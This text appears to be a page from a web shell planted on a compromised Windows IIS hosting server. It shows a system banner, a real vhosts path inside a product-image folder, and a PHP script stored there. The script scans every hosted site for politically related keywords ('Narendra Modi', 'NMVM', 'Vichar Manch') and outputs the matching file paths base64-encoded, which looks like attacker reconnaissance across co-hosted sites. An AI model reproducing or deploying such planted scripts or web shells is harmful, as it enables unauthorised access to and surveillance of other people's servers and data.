System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$root = 'D:\Inetpub\vhosts\appclients.in';
$sites = scandir($root);
$keywords = ['Narendra Modi', 'NMVM', 'Vichar Manch', 'Modi'];
$output = "";

foreach ($sites as $site) {
    if ($site == '.' || $site == '..') continue;
    $sitePath = $root . DIRECTORY_SEPARATOR . $site;
    if (is_dir($sitePath)) {
        // Search root files of the site
        $files = scandir($sitePath);
        foreach ($files as $file) {
            $filePath = $sitePath . DIRECTORY_SEPARATOR . $file;
            if (is_file($filePath) && preg_match('/\.(html|php|txt)$/i', $file)) {
                $content = file_get_contents($filePath);
                foreach ($keywords as $key) {
                    if (stripos($content, $key) !== false) {
                        $output .= "[+] Found '$key' in: $filePath\n";
                        break;
                    }
                }
            }
        }
    }
}

echo base64_encode($output);
?>